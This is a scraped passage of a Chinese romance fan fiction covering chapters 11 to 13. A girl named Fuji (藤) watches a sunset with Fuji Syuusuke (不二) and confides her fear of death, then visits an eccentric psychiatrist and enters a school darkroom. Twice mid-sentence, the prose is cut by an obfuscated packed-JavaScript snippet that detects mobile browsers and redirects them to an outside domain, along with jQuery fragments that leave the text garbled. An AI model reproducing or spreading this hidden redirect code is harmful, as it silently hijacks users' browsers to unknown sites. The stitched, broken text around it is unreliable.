“但不管是谁,几乎所有人的脚步都会放缓,有种踩着夕阳慢慢踱回家的感觉呢。”他带着笑意说,“还有,早上的时候,总是咖啡店人最多,到了这时就会有点冷清。店员慢慢收拾着门口的招牌……相对的,车站旁的甜品店会变得热闹起来。像这种时间性的变化也很有趣。” 他嗓音温润,像一阵清和的风吹过。听着这样的描述,我脑子里也跟着冒出了画面。是和以前完全不同的视角与氛围,好像正借由不二的眼睛观察世界一样。怪新奇的。 “藤呢?”这时又听他问道,“你眼中的黄昏是什么样的?” “嗯……老鼠出来翻垃圾箱觅食的时刻,还有、应该起床但还可以再拖5分钟的时刻。”我懒洋洋地说。 不二短暂的沉默了。我想他应该是被我窘了一下,但他没让空白时间持续太久,很快就道: “那可真是…该说是日落时分的另一面吗?” 我正想安慰他每个人眼中的世界不一样,就听他若无其事地轻声笑着道: “可以的话,我也好想看看呐,藤眼中的世界。” 我:“……” “不二,你是笨蛋吗?!”我脱口而出。 虽然我现在气势很足的瞪着他,但其实我完全不知道为什么会说这句话。 “欸?果然不行吗?”他好像有点失落。这家伙受伤的样子总是很好看,哪怕半真半假,也看得人心里软乎乎的。 我勉强决定再宠他一回。 “不,也不是。下次我用手机拍给你好了。” “老鼠的照片吗?” 发问时,他一脸春日会在草坪上打滚的小熊才会露出来的那种无邪神情。 “嗯。还是说你想看我刚起床时的样子?”我歪头看他,心里倒不怎么抗拒,而是想着:要是看到我的亚古兽睡衣,那不得把他可爱死吗? 不二立即投降了,“那还是不太合适呀……”他眉眼间流露出专属于少年的窘迫。 我当然是好好欣赏了一番,然后才眉飞色舞的朝他做了个鬼脸。见状,不二重新端起相机。我立马朝镜头比了个耶。 天忽然比之前亮了。 “呐,藤,时间到了。”少年静静望着我身后,神色从悠闲变得沉静。 在原来的世界,这种话多半会伴随着厮杀与横飞的肠子出现。所以我短暂的惊了一下,首先检查了一下自己的脑袋是不是还好端端的待在脖子上。等接触到不二温和的、示意我向后看的眼神,我才明白过来他话里的意思。 于是,带着那种残留的淡淡的错愕,我转身望去。 看见了低垂的橘色天空。 以及黄澄澄的、缓缓压向地平线的太阳。 太阳好大。巨大。像卧轨的时候看到的火车头那么大。 那个形状一点也不漂亮,充满了现代工业的气息,比起自然景观,反而让人想到探照灯一类的东西。散发出的光芒更是刺眼,果然就是探照灯吧。 “……” 我感觉双眼快被刺瞎了,眼前一阵阵的发晕。 恍惚间,我仿佛看见宇宙中有个巨大的邪恶的虚影,正慢慢悠悠俯下//身来,像握蜡烛一样捏住太阳、逼近地球细细窥探。 好眼熟的巨人。再一看:这不就是老爹么? 【“喂,1号,你到底藏到哪里去了——?”】 老爹的声音在云间震荡,两颗硕大的眼睛在大气层上方一张一合,动作像泡在海里的水母一样迟缓。 我短暂的慌了一下。 然后我想:老爹要是有这能耐,早就陷入小人的狂喜,自己杀掉玛奇玛当上银河系大统领、然后远程意念遥控我的脑袋爆炸了。哪还用这么大费周章?可见这不是真的。 于是我马上在心里大吼:去死吧,臭老头! 话音刚落,黑洞中就钻出一个一身正气的小学生侦探。只见他飞起三脚,猛猛将月亮火星土星踢向老爹。老爹的虚影顿时发出一声惨叫,带着太阳一起炸成了肉沫流星雨。好耶!我简直要爱死他了! 小学生侦探摆出发射动感光波的姿势,朝我回眸一笑。 我冷静了下来。 现实中,巨大的太阳仍然好好待在天上,像被谁按下了暂停键。 我忽然希望它能赶紧落下去、然后第二天再赶快如常升起。但它才不管我怎么想,仍然执拗地悬在低空,把云也染成一样的金色。渐渐的,金色的边界扩大、模糊;太阳不太像是下沉,反而更像是在消融。 “怎么觉得有点恐怖呢……” 我小声嘀咕着,完全没感受到什么温柔与浪漫,只有一种轻微的恐慌。这感觉在心里慢慢扩散,惊起一圈又一圈的迷之颤栗。但我也没有移开目光,而是着了魔般的继续盯着看。 “藤,”身后忽然传来了温柔的呼唤,“看这边。” 闻声,我猛地回过头,鲜红色的长发甩动到身后,与端着相机的少年遥遥相对。 他似乎是飞快的抓拍了一张,然后慢慢放下相机,和我视线相接。 不二也被笼罩在落日的光辉中了。无论是浅栗色的发丝、黑色的校服、还是握着相机的手指,金色的光芒在他身上跳跃,看起来和平时的确大不相同。从来温柔浅淡的少年,此刻就如同被光烧灼着一般。 我想他眼中的我也是一样的。 “就好像火焰一样啊……”少年忽然轻声发出感叹。 “什么?”我一歪头。 可他只是安静地笑了笑,没有说话,一瞬间好像有点腼腆。静默间,他柔软的发丝被风吹动,又很快恢复了平静。 明明是完全不想笑的场合,但我忽然笑了出来。 “不二。” “什么?” 我头也不回、指着身后的太阳,像小学生告状一样对他说:“这玩意儿吓人!” “欸?”他还想再问,但我已经自顾自的跳到下一个话题去了。 “不二。” “…什么?”他无奈地配合着我。 我继续小学生告状:“时间也很吓人,一直在往前走,秒针一直哒哒哒的转!还有地球——地球非常讨厌!” 他愣了愣,然后眯着眼睛、一脸天然地问: “这是藤眼中的黄昏吗?” “……不二!” “什么?” “你也吓人!”我指着他说,“反应速度也太快了吧——一般人这时候绝对还在‘她到底在说啥?’的阶段!” “是这样吗?抱歉……”他不怎么诚心地道了歉;再然后,几乎是精准迎合着我内心的需求般问道,“藤,可以再多说一点吗,关于你眼中的景象?” 于是,我就把我观看日落时的感想告诉给了他。 面对下沉的、宣告一天时间即将结束的太阳,脑子里首先会冒出一大堆问题。 像是:我今天有在好好的活着吗?明天会遇到什么倒霉的事情吗?说到底人生究竟是什么东西呢?会死吗?我有一天也会死吗? 诸如此类没什么意义、只会让人感到空虚的问题。 还没等得出答案,一个巨大的现实就会凌驾于所有这些问题之上: “——大家都会死的。” “到了一定的时间,比如两百年后什么的,现在地球上的所有人都会死掉的。但这不重要。最重要的是,会死掉的人里竟然也包括我。一想到这,我就太生气了!” “但是,藤是超能力者吧?不会想要活到下个纪元,看看新人类长什么样子吗?”不二平静又好奇地问。 我:不愧是他! “之前我确实是这么想的。”我说,“但刚刚看过日落后,我改变主意了。现在脑子里面的想法是:和天体相比,我绝对会先死。不管是五十年、八十年还是一百年后,有朝一日我绝对会比它们先完蛋。但就算在我死了以后、就算我的身体被各种微生物分解、就算分解我的微生物也被各种微生物分解,太阳也会继续在这天上升升落落。能一直见证的只有脚下的这颗地球而已。所以地球非常讨厌!” 好气!好想把地球毁灭掉啊! 少年似乎洞悉了我的潜台词,当即半是打趣地问: “藤也想看1.5万亿次日落吗?” “不,那样的话感觉会变成了不得的变态,在即将大获全胜发出令人不愉快的怪笑的时候露出破绽,被主角随随便便一剑砍死什么的。” 我大笑着回答。 “——我只是不想死而已!” 毕竟,死是世界上最糟糕的一件事吧?比被狗屎绊倒结果鼻子和嘴巴摔进另一坨狗屎里还要糟糕得多吧? 死掉是超级恐怖的事情吧? “特别是知道自己快死的那一刻。不二,你就尽管想象飞机失事人往下掉的时刻好了。那种时候已经什么也不能做了吧?一瞬间想的竟然全都是死掉的好处,想想根本没道理吧——虽然感觉不到痛了,但死亡完全不是一件好事吧?” 死掉就再也没办法吃好吃的东西了吧?不,应该说是连不放盐的稻壳汤都喝不到了吧。别说日落和美少年了,世界会直接变成一片黑暗吧?比这些加起来都可怕的是,死掉就再也没法说话了。可我明明最喜欢说话了吧! “超——恐怖的!比时间地球太阳还有不二你加起来都要恐怖!”我张牙舞爪地告诉他。 像这种恐怖的、难以理解的瞬间,我已经经历过一次了。 明明已经经历过一次了,但五十年、八十年或者一百年后,竟然还要我经历第二次。这不是太幽默了吗? “——也太幽默了吧!?” 世界都变得模糊起来了。 一瞬间就像被雨水浇透的车窗。 “…藤。”忽然听见不二轻声叫我。难得的,他声音里不带任何笑意,像是意识到了什么让人根本笑不出来的事情一样。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16260263|179615||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “我没哭。”我立即说。 “……” 这个省略号仿佛充满了不相信与悲情。 “是真的。每当我想哭的时候心情都会很激动。因为眼泪有咸味,应该拌什么都会很好吃。可是只要这么想了,眼泪就会迅速蒸发。渐渐的我就变成了只有泪意没有眼泪的体质——看,什么都没有吧。”我向不二展示干涸的眼睛。正午的撒哈拉沙漠也不过如此了。 “……” 这个省略号少了一半的不相信。 但是空余悲情的话,反而变得有点搞笑起来了。 在这种诡异的氛围中,我看看他,他看看我。 然后我们不约而同、莫名其妙的笑了一下。 “…呐,藤,我可以再走近一点吗?”不二轻声问。 “不拍日落了吗?” “还有时间。”他相当坚持。 我想了想,打心眼里认为这不是个坏主意,就说:“来吧。” 于是不二默默走到了我面前。我这个人从不懂低头的道理,所以就梗着脖子望着他。 “该不会是要安慰我吧?”拜托不要,那样我只会爆笑。 “不,像这样的情况…任何安慰都只会让人觉得讨厌吧。藤的话说不定还会爆笑。”他顿了顿,“想做的倒不如说是完全相反的事呐。” “要痛骂我一顿吗?”不二骂人——这场面反而让人想看看了。 “不……”他稍微犹豫了一下,又用平和的语调说,“想要稍微触碰你一下…可以吗?” “……” “感到不舒服的话,随时都可以躲开。无论怎么反应都没关系。” 我说:“可以。碰吧。” 面对着我,不二缓缓伸出了手——漂亮细长的手指,最终轻轻落在我的头发上。我想他要不是第一次、要不就是好久都没摸过别人的头。虽说表现得很熟练,但不自然抬高的手臂还是暴露了他。 我和他大眼瞪小眼了一会儿。然后我问他: “不二,你想把我的脑袋从脖子里拔出来吗?”听肝脏说,世界上也存在能握着人头徒手把人变成脊髓剑的恶魔。 “不,绝对不是。”他飞快否认了,神情很是镇定。 随即,栗发少年轻轻揉了揉我的脑袋。这是一种诡异的、异世界独有的轻柔力道,立即让我相信他不会把我做成光咲脊髓剑。 “抱歉…这样做好像有点唐突。”少年轻声说,“但我想不到其它方式。会觉得讨厌吗?” 我懒得摇头,就盯着他看,用眼神告诉他不讨厌。他立即接收到信号,带着温暖的笑意,又加重了一点力道、又揉了揉我的头。 “藤的头发很漂亮。不光是颜色,触感也很温暖,毛绒绒的好像小动物一样啊……” “小动物不是太容易死了吗。”我抗议,“快说我是霸王龙。” 他笑了笑,妥协地顺着我说了几句霸王龙的吹捧(又在我的要求下加入宇宙无敌等字眼),然后才继续道: “光是这样触碰就能感受到,藤身上旺盛的生命力——你现在有在好好的活着。绝对是这样的。” 不二很快收回了手,但他带来的那种奇妙的影响力还在持续。水一般的黄昏在我们周围浮动,仿佛有一圈又一圈温暖的涟漪缓缓荡开。逐渐的,我感知到了自己的僵硬;就像寒冷的冬天把脚泡进热水里、首先就会感受到刺痛一般。 “…不二。” “什么?” 我有点想问他刚刚我是不是说了些笨蛋才会说的话。但转念一想,从我嘴里说出来的话不可能笨蛋。就算听起来笨蛋,也一定是地球磁场不对劲的缘故。 所以话到嘴边变成了: “这种事我当然知道了——本来我看着太阳,超生气也超害怕的,就像肠子被人从嘴巴里勾出来一截一样……” 在他又想说些什么的时候,我大喇喇挥挥手,继续说了下去。 “但是生气和害怕的时候,心脏也在胸腔里面砰砰砰的跳个不停。回头看到你,跳得就更厉害了。心脏在砰砰砰跳个不停的时候,不就说明我还意识清醒的活着吗?只要这么一想,我瞬间就不气了。所以你看,我早就知道了,我活得超厉害的。” 就像被狗屎绊倒结果鼻子和嘴巴摔进另一坨狗屎的时候忽然天降1000万。这种时候绝对生不起气来吧?虽说肯定还是会有一点点气啦! 不二沉默着看看我,忽然又伸手揉了揉我的脑袋。这次动作自然了超级多,就好像无师自通一瞬间成为了摸头宗师一样。但没经过我同意——他该不会以为刚刚是得到了什么终身许可吧? “嗯,藤果然很厉害呐。” 他笑眯眯地说道。距离变近以后,这张帅脸的威力似乎也瞬间增强了。或许是由于落日的光彩,又或者是世界开了柔焦什么的,我觉得他的笑容比平常还要温柔很多很多。 “……” 透过那双冰蓝色的眼睛,我好奇地观察着他眼中的世界、以及他眼中的那个我——不二眼中的我好像也比实际上温柔很多。 我只好勉为其难让他又得逞了一会儿。结果这家伙越来越有恃无恐。 “…行了行了揉够没?现在还有更重要的事要做吧——” 听我这么说,他立即退开几步,嘴上说着“失礼了”,脸上却带着“下次还敢”的淡定微笑。一时间,我隐隐觉得有什么东西潜移默化的改变了,可仔细去想,又似乎什么都没变。 那感觉就像试图捕捉穿过指间的风,我很快认为没什么必要。假如真存在什么变化,那它迟早会自己跳到我眼前的。 “不二,帮我拍下来吧!” 背对着夕阳,我咧开嘴,朝少年比了个大大的耶。 “——这是我超级生气超级害怕以后又超级开心时的样子!” 而他透过相机,安静而专注地凝望着我,唇边笑意清浅又温柔。 然后,我们就又开始边拍照边闲聊了。 “不二,凭你那个纤细的脑子绝对会想到更多吧!看到日落的时候——不会吗?” “嗯、会不会呢……” “就比如说,人生究竟是什么东西呢?” “应该是很漫长的东西吧。” “那、明天的我会很倒霉吗?” “那种事谁也说不准呀。” “今天的我有在好好的活着吗?啊,这个你刚刚已经回答过了。那换一个,怎么样才算是好好的活着呢?” “唔…只要还在好好的呼吸,应该就足够了吧。” “要求太低了吧。” “哈哈…或许是这样呐。” “不二。” “什么?” “什么都没有。” …… “…呐,藤。” “什么?” “你在做那个手势吗?”他蹙着眉问。 “咦,能发现吗?”我把背在身后的中指收了一下,想想又有恃无恐的弹了回去,“是的。我在竖。这样拍照果然还是有点效果的吧?” …… 黄昏的光彩愈暗。太阳慢慢的沉入云端。 咖啡店的招牌被收起,车站的甜品店前排起长龙。 有些灯熄灭,有些灯亮起。 微微佝偻着背的男性,各有不同的女性,至少今天不用再上学的超开心的小学生。 背对着太阳。面对着太阳。躲避着太阳。追逐着太阳。 太阳缓缓沉没。天边只余下一条细细的白线。 三万场日落。人生真是没什么意义呀。 “好!既然这样,不二,等拍完照以后——” 我一指远方,对着温和清俊的栗发少年露出了灿烂的笑容。 “——我们就去便利店搞点薯片来吃吧!” 12.第12章 周末,我去精神病院玩。 路过中庭的雪山观景台的时候,遇到一个蓝头发戴眼镜的男的。他平淡地瞥了我一眼,我看回去。他又瞥我一眼。我看回去。他嘴角一抽,莫名其妙再瞥。我看回去。 “……” 他沉默地一推眼镜,重新埋首于书本。 在精神病院读书?看来他也病得不轻。 “啊,你看到的多半是隔壁大学附属医院教授家的公子。他没有病,他只是爱读书。” 儿童心理科的诊室里,○○医生一边在椅子上旋转,一边笑着对我解释道。 这种完全没必要的说明、以及有点吊儿郎当的态度都怪不专业的。我想我就是因为这个才会选中○○医生。毕竟要是太认真,不就说明我在被认真地当作精神病对待吗? “今天天气很好,”○○医生眺望着窗外,“是个会让人想要飞翔的日子啊。” 我同样望着窗外。我想这是我会选中这家医院的又一个原因。 这回终于是没什么田径场网球场的了。 一座晶莹剔透的人造雪山矗立在中庭,山上时不时传来动物似的嚎叫。 据○○医生说,这个世界上本没有什么精神病,有些人只是当人当久了才会得病。所以一旦得上病,只要选择不当人,立马就会开心很多。本院因此开发了特色的雪山疗法。 我觉得还行。 “嗯,总之今天还是先随意的聊聊看吧。”医生抽出胸前口袋上的圆珠笔,“最近过得怎么样?” “还不错。” “可以具体说说看吗?” 我张口就来: “我每天按时上下学;饭量上没有任何变化,平常吃一碗米饭,饿的时候或者有好吃的肉的时候吃两碗半;睡得超级香,可能是因为我喜欢泡澡,泡完再喝冰镇过的牛奶。总之一到晚上10点,我就会立刻变得像尸体一样安详。我不做任何梦,就这样一觉睡到天亮。” ○○医生奋笔疾书,笔尖摩擦出了火星。 2分钟后。 “那有什么常规外的事件发生吗?” 我考虑了一下才说: “昨天放学去看了日落。” “一个人去的吗?” “当然不是了。” “欸……那是在学校交到朋友了吗?” 我稍微停下来想了想。 不二,这个会拿着相机、散发出淡淡柠檬香味、总是笑眯眯的谜之宇宙级帅哥在我眼前浮现。 我们还没有牵过手。尽管我们已经握过2次手、我也拽着他的手腕在大马路上狂奔过、夕阳西下的时候,他的手还揉过我的头,但我和不二还没有牵过手。所以严格意义上来说,我们还不是朋友。 “医生,你跟人打过招呼吗?” “嗯,差不多每天都有在打。” “跟人打招呼的时候,你是什么感觉?” “欸?嗯……稍微有点麻烦吧。只是点头还好,需要鞠躬的时候总是会想‘欸?我为什么要冲这个人弯腰呢?’,然后时常就这么笑出声来。不光给别人添麻烦,晚上泡澡的时候,这场面说不定还会在大脑里闪回。这是最麻烦的。如果可以,我想尽量避免和人打招呼的场合。”○○医生说。 “一般打招呼不都是说挥手吗?” “那是你们学生才用的。很久以前我也会用。” 我“噢”了一声。 “以前我对打招呼没什么感觉,既不会觉得麻烦,也不会想要主动去打。每天到教室坐下的时候,总会有一些人对我说‘藤同学,早安’,这种时候我也会回一个‘早安’。打招呼对我来说就是这种普普通通的事。” “那现在呢?” “后来有个人说要和我打招呼,结果这么说完后的第一次打招呼就是在宛如世界末日的场合中。当时我觉得有点恐怖,但‘这有点恐怖’的想法产生以后,又觉得有点搞笑——就是那种会让人感到开心的搞笑。从那以后,每当看见那个人,我都会想:‘这家伙是不是又要向我打招呼了?’。每当我这么想了,毫无意外的,那家伙都会主动微笑着朝我打招呼。” “…然后呢?” “慢慢的、我也不知道从什么时候开始,总之当我看见他的时候,心里会产生的想法不再是疑问句,而是变成了‘啊、这个人要朝我打招呼了’,这种相当笃定的感觉。包括刚刚被问到是不是朋友的时候,我想到的是‘我们还没有牵过手’、‘还没牵过手’、‘还不是朋友’。一般这种时候,用‘我们并没有牵过手’、‘并不是朋友’就够了吧?我却一连用了3个‘还’。我想这是不满足的意思,就像看到烤好的横膈膜就会不自觉的对米饭心生期盼一样。所以我觉得说不定我们很快就会变成朋友了。” ○○医生听完面露纠结: “呃……你说的这个真的是‘朋友’吗?怎么有一股木叶村的味道呢?” “这真是一个心理医生能说出来的话吗?” 我吐槽。 医生又想了想,不纠结了: “嘛,反正你这辈子也不会只交一个朋友。等有了对比以后,有需要我们再来讨论一下吧。” “也行。”我想我们是不会再谈这个了。 然后很快就到时间了。 我走到门口。这时○○医生对我说:“下周见。” 我点点头,然后面无表情的朝对方挥了挥手。 ○○医生一愣、笑了,也朝我挥了挥手。 -- 出来的时候,阳子正望着中庭的雪山出神。 我扑过去,吓了她一大跳。 “呜哇!?已经结束了吗?好快!感觉怎么样?” “还可以吧。又约了下周。” 阳子此刻的表情,无异于对人生绝望的时候亲眼目睹哆啦A梦在碧空中畅快地飞翔: “算上下周的,就是连续3次了…是奇迹啊!老实说,一开始看见这座雪山我还有点不安。为什么东京市内会有一座雪山啊?发出的那种声音真的不会被周围的房东投诉吗?还有温度究竟是怎么保持住的?怎么想都很异常……简直就是异世界嘛。” 我:“要说异常,我觉得还是田径场和网球场比较异常。” “真的假的。那这座不科学的雪山算什么?” “算是为普通的精神病院增添一抹奇幻色彩……就类似这种感觉吧。” 阳子有些悲凉地看着我,像是在说:“你又在胡说八道了。” “东医大附属精神病院到了……精神病院到了……” 我们上了公交。 “青春台站到了……青春…到了……” 我们下了公交。 “晚饭吃什么呢?”阳子问,“好久没去河村寿司了。想吃金枪鱼吗?” “我想吃牛肉!”我摇晃她的胳膊,“烤肉!烤肉!再配上香喷喷热腾腾的白米饭!” “好啦好啦……” 于是我们向着与河村寿司相反的方向去了。 经过学校附近的十字路口时,正好遇到一个超过1分钟的漫长红灯。就在这时,对面忽然出现了熟悉的清瘦身影。 栗发少年穿着校服、背着大大的网球包,一只手插在裤兜里,就像是昨日的情景复现一样(甚至连面前的斑马线都是被我们狂奔而过的那条)。 只不过现在我们各居一端。我挨着阳子,而不二站在一群同样背着网球包、吵吵闹闹的男生之间,其中几个散发出能一口气吞下二十个汉堡的猛人气势。 我猜他也看到我了。虽说他还是一副气定神闲的笑脸,但这家伙基本是能顶着这副淡定无害的表情干出任何事来。 我久违地想:糟糕,他该不会要和我打招呼吧? 一下子我就把目光集中到不断倒数的红绿灯上了。上面的数字每跳一下,我的心就跟着蹦两下,就像底下站了个马里奥。 如果不二和我打招呼,那么接下来的时间我一定会被阳子疯狂盘问,吃肉的心情会被破坏的!拜托了,不二,就算是为了横膈膜——! 我拜托得十分用力。如果这是一部动画片,那么我的脑门上说不定已经伸出天线来了。 而作为接收端的那一方——不二现在既像是看着我、又像是根本没看我。那副可恶的万年不变的笑眯眯的表情,就好像在说:“对不起,现在在电波收不到的地方,或是电源没打开……” 倒是给我打开啊混蛋! 红绿灯上的数字越来越小。从50跳到10……最后3、2、1—— 两边的人群开 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16273787|179615||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 始耸动。 我目不斜视、面无表情地往前,用十分不明显的余光注意着同样朝我走近的少年。 越来越近。淡淡的柠檬沐浴露的香味好像已经要飘到我鼻子底下了。 藏在心脏底下的马里奥顿时弹跳得更加用力——跟开了3倍速一样——似乎铁了心认为我的心脏里面能爆出金币。气死我了,从明天开始我就要喜欢路易吉! “吉”字还没想完,我就和走在最前面的刺猬头网球少年身影交错。 他看着有点眼熟,于是我又高兴又不情愿的把一部分精力分出来思考他为什么眼熟。 我只花了不到0.2秒就想到了——是那个嗓门很大的人·学校小卖部之王。原来他也是网球部的啊。 接着,我的目光又要全落到他身后的不二身上去。被我用安然吃肉的渴望死死摁住。 别打招呼别打招呼不二周助我要吃肉让我吃肉不二周助你听见没有…… 红绿灯上的数字像是完全凝固了。 与此相对的,我心中的马里奥已经彻底走向了疯狂。 一顶白色的帽子慢悠悠从我眼前飘过去了。 然后,离得不算近的,我和不二交错而过。 这个瞬间反而很快。 什么也没发生。 马里奥顿时不跳了。仿佛我的心脏化身害羞幽灵王,嚣张的一口把他吞掉了。 虽说是值得庆祝的时刻,但我也没有想象中开心。 我想比起路易吉,我还是更喜欢马里奥。 远远的,我听见熟悉的温和清朗的嗓音,似乎是在和他身后的男生说话: “大石,我包后面的拉链是不是开了?” “咦?没有啊。” “是吗?”不二轻笑了一声,“那就好。” 然后我就这么安然走到马路对面了。 我又想:可恶,那家伙竟然真的没跟我打招呼。可恶,算他识相…… “光咲,刚刚那群人是你们学校网球部的吧?周末也训练,真是刻苦。”阳子悄悄跟我说,“而且全是帅哥欸……” “是吗?没注意。”我一脸酷酷地说。 “好像还有个一年级的,矮矮的好可爱!但一看就属于未来可期的那种!”她朝我挤眉弄眼,“和你同一个年级欸!是一个班的吗?” “不认识。而且说不定人家已经国三了呢?”我张嘴就胡说,“我们学校国三好像是有个特别矮的!” “唉,其实我刚刚有在想,要是你的不二前辈就在那群人里就好玩了——比如那个戴眼镜的男生,一看就很有电波宅男的感觉啊!那个长得像猫猫一样的孩子也好可爱,刚刚还冲我笑了呢。当然,我最中意的还是那个鸡蛋头的男生,一看就很温柔实在。呀,我们光咲要是和他展开一场校园恋爱——” 我:“什么乱七八糟的。我最讨厌温柔系了!” “好嘛…那、那个一直偏着头和鸡蛋头男生说话的眯眯眼帅哥也不错啊!超有校园王子的感觉!闪闪发光的那种!就是头发颜色太浅了。如果是染的,会不会性格也有点轻浮呢……” 我:“说不定人家不动如山呢。” “但是果然、世上没有那么巧的事啊……刚刚那群人一看就跟你不熟嘛。”阳子叹了口气。 我脚步一顿,心想:可恶的不二,竟然真的不跟我打招呼!也不提前通知一声,害我连吃烤肉都要没心情了! 这么想着,我不由阴恻恻地回过头。 然后就和浅栗色头发的温柔少年视线对了个正着。 他仍是笑眯眯的,神情安然又淡定,似乎早就算准了我会回头。一看见我,他就伸出手,悄悄朝我挥了挥。 我:“……” 我也朝不二挥了挥手。 他脸上的笑意似乎加深了一点,一副很开心的样子。被旁边的鸡蛋头少年注意到了。 我收回了目光。 “怎么了?”阳子莫名其妙地看着我。 “噢,刚刚有蚊子。”我淡定地说。 “欸?在这个季节——?”她一脸震惊。 “就是有嘛!差点叮我一口。走了走了!吃饭最重要!”我推着她一路往前。 今天天气真好。 我又有心情吃烤肉。 13.第13章 今天中午没去天台。 灰蒙蒙的天空、铁青色的头发还有乌漆嘛黑的牙齿和皮肤——对着窗外颜色正常的蓝天,我懒洋洋检视着手里这张半透明的胶片。 “…这不就是鬼片吗?” 我调转了个方向,面向正半蹲在柜子前的少年。昨晚这家伙兴冲冲给我发邮件,说拍到了不错的照片,约我中午在学校摄影室见。 “不二,我本来以为要见到了不得的美少女了,结果看到的根本是阎魔大人嘛——应该治你一个大不敬之罪!” 说着,我戏耍似的透过那张胶片看他,本意是把这家伙也变成和上面一样的恶鬼配色;结果眼睛离得太近,根本注意不到颜色,反而像是用这张小小的胶片把眼前美好的少年身影给框住了一样。 “现在底片上的是负像。等到暗房放大后就是正常的颜色了。” 他一脸温和地说着我听不懂的话,边说边从柜子里拿出各种瓶瓶罐罐。那熟门熟路的姿态,不禁让人怀疑这家伙打小就扎帐篷居住在这个房间。 “你其实是摄影部的成员吧。”我吐槽。 “不,但我确实是毕业相册制作委员会的一员。”栗发少年笑眯眯地说道,忽然一下就很有三年级前辈的风范了。 “欸…那你肯定给很多三年级的拍过照片了?” 我只是随口一问。不二却动作一顿,微眯着眼睛、像只思索中的猫咪似的偏了偏脑袋: “如果我说‘是’,藤会吃醋吗?”他用一种格外轻飘飘和调侃的语气问。 我:“啊?” 我的第一反应是:这什么莫名其妙的问题。关我什么事?这家伙又在用他那出奇纤细的神经想什么复杂的东西呢? 但是紧接着,上周一起看日落时的景象就在脑海中一闪而过。被笼罩在金色的光辉下、温柔又闪闪发亮的不二。他握着相机拍摄时的样子超专注的。要是他也用那种专注的眼神看着别人的话……那他问得也没错。好像确实是会让人有点不爽的。 但我想我不爽的点应该和拍照没什么关系。 所以我想了想,告诉他: “不会。你给别人拍照片我干嘛要吃醋。” “嗯,开玩笑的。”少年依然是一副笑眯眯的表情。 我就继续道: “但是,你要是一边拍照片一边也和别人聊天聊得很开心的话我会超不爽的。”虽然我也不知道原因,“不二,别那么做。” “…这样吗?”他再一次说,看神情似乎有点错愕,但并不是那种受到冒犯的错愕。 我理直气壮地说: “就是这样的。” “唔、可是拍摄时的交流好像很难避免……”这家伙蛮苦恼的样子,然后一边苦恼一边笑了,“我知道了,以后我会注意的。” …嗯? 说完我才觉得好像有哪里怪怪的。 “……” 我眯起眼睛盯着这家伙瞧。明明我在看着他,他却没有看着我。 “不二。” “什么?” “怎么感觉你忽然好开心的样子?” “大概是因为很久没有自己动手做彩放,所以不自觉的就激动起来了吧。”他一脸淡定地微笑着,抱着一筐稀奇古怪的瓶瓶罐罐站了起来。 “藤要来感受一下吗?把底片放大成彩色相片的过程。很有趣的。” 什么事情被他一说,好像立即就会沾染上一股神秘兮兮的色彩了——仿佛他不是要洗照片,而是要施展魔法。 但我可不是会因为言语怂恿就轻易生出好奇心的人。 我超冷酷的。 “最后的那个‘有趣’听起来就很可疑。”我一动不动。 “是真的。” “这句意味不明的保障听起来也超可疑。” 闻言,少年弯唇朝我笑了笑,就这么望着我不说话了。 从我冷酷的心里面忽然爬出来一只红色的欢乐的马里奥,不安分的上下弹动着。 ……笑得真好看啊。 …反正闲着也是闲着。 “那就来看看吧!” 说着,我轻快的从摄影室的桌子上跳了下来。 -- 这个名叫“暗房”的房间面积不大,没有窗户;离密室杀人案件现场只差三个嫌疑人和一具瞪着眼睛嘴巴大张的尸体。 角落横着一个长方形的水槽,还有两台一看就很容易坏的机器。一台让人想到油烟机和灶台(不二说是放大机),另一台跟打印机没什么区别(不二说是冲印机)。 我环视一圈,郑重宣布: “接下来的1小时我会被无聊死。” 这和中午加上一节实验课有什么区别嘛? 不二笑眯眯的,看起来一点不计较,“绝对不会无聊。” 我:“加上刚刚的份已经是第3遍了。一般需要连续保证3遍的事绝对不会有趣。” 他也不和我争辩,“顺带一问,藤觉得什么样的才是‘有趣’?” “起码要让我能笑出声来吧。”我说道,“比方说,拄着拐杖朝我吐痰的老头,一点也不有趣;但是,屁股着地在冰面上旋转720度的飞天老头,这就有一点趣了。” “怎么说呢…这标准详实得让人有点不安呐。”他边说边把东西一一摆好,又朝我伸出手。我把那张胶片放到他手里。 “别误会,我很敬老的。”我懒洋洋地说,“再比如说,不二,你把这些瓶瓶罐罐各类工具摆得超级整齐、一丝不苟的,这一点也不有趣;但是,假如你是有强迫症的变态杀人狂,密谋把我骗到这来残忍杀掉的话,那就还算有点趣味了。” “我可不会做那样的事呐。”他认真思考了一番,“谋害超能力者什么的,绝对是自讨苦吃吧?我的作案风格要更谨慎点。” 像这种一本正经的无厘头推论就很有趣。而且还不着痕迹地吹捧了我一番。听着怪舒心的。 我顿时很满意地看着栗发少年。 “接下来要关灯了。可以吗?”他也眉眼弯弯的看了看我。 “关吧关吧。” 话音刚落,房间里就变成了一团漆黑。真正意义上的伸手不见五指、什么也看不见。 我下意识的眨了眨眼,以确保不是自己不小心把眼睛给闭上了。 “会害怕吗?”旁边忽然传来熟悉的温和嗓音。 “单纯的黑倒没什么。你突然出声比较吓人。”我吐槽他。他轻轻的笑了。我觉得他是故意的。 “那么,稍微变得有趣起来一点了吗?” 